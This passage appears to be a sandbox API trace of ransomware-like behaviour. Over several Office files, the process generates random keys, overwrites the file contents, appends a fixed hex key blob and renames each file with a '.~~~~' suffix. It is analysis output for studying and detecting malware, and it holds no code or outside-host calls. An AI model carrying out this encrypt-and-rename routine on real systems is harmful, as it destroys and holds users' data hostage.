	[0133.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.649] GetLastError () returned 0x0
	[0133.649] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.651] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.651] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.651] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25364094794) returned 1
	[0133.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb91a0410, dwHighDateTime=0x1d60e1e)) 
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28247c0
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28247c0 | out: hHeap=0x300000) returned 1
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0133.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.652] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.652] GetLastError () returned 0x0
	[0133.652] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.652] GetLastError () returned 0x0
	[0133.713] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffd84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.713] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x27c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x27c, lpOverlapped=0x0) returned 1
	[0133.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.715] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.715] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.715] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.715] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.716] CloseHandle (hObject=0x104) returned 1
	[0133.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0133.759] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.~~~~")) returned 1
	[0133.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.761] GetLastError () returned 0x0
	[0133.762] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.763] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.764] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25375382748) returned 1
	[0133.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb92d0f10, dwHighDateTime=0x1d60e1e)) 
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cab8
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cab8 | out: hHeap=0x300000) returned 1
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836128
	[0133.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.765] GetLastError () returned 0x0
	[0133.765] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.765] GetLastError () returned 0x0
	[0133.770] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.770] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.774] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.774] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.776] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.776] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.776] CloseHandle (hObject=0x104) returned 1
	[0133.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d98
	[0133.777] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.~~~~")) returned 1
	[0133.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2835d98 | out: hHeap=0x300000) returned 1
	[0133.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.779] GetLastError () returned 0x0
	[0133.780] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1258) returned 1
	[0133.781] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.781] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0133.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0133.781] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25377142743) returned 1
	[0133.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb92f7070, dwHighDateTime=0x1d60e1e)) 
	[0133.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38ca80
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca80 | out: hHeap=0x300000) returned 1
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4700
	[0133.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.782] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.782] GetLastError () returned 0x0
	[0133.783] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.783] GetLastError () returned 0x0
	[0133.786] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.786] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.790] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.791] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.791] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.791] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.791] CloseHandle (hObject=0x104) returned 1
	[0133.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0133.791] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.~~~~")) returned 1
	[0133.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836258 | out: hHeap=0x300000) returned 1
	[0133.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.793] GetLastError () returned 0x0
	[0133.796] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0133.797] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.798] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0133.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.798] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25378798610) returned 1
	[0133.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb931d1d0, dwHighDateTime=0x1d60e1e)) 
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824948
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824948 | out: hHeap=0x300000) returned 1
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4798
	[0133.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.799] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.799] GetLastError () returned 0x0
	[0133.799] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.799] GetLastError () returned 0x0
	[0133.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.807] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.812] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.812] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.813] CloseHandle (hObject=0x114) returned 1
	[0133.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0133.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.~~~~")) returned 1
	[0133.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.816] GetLastError () returned 0x0
	[0133.829] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a10c0) returned 1
	[0133.842] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.842] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0133.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0133.842] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25383230859) returned 1
	[0133.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb938f5f0, dwHighDateTime=0x1d60e1e)) 
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0133.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28249b8
	[0133.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28249b8 | out: hHeap=0x300000) returned 1
	[0133.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.843] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0133.843] GetLastError () returned 0x0
	[0133.844] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0133.844] GetLastError () returned 0x0
	[0133.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff6680, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.853] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x9980, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x9980, lpOverlapped=0x0) returned 1
	[0133.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.855] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.855] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.856] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.856] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.856] CloseHandle (hObject=0x114) returned 1
	[0133.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0133.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.~~~~")) returned 1
	[0133.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8db0 | out: hHeap=0x300000) returned 1
	[0133.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0133.858] GetLastError () returned 0x0
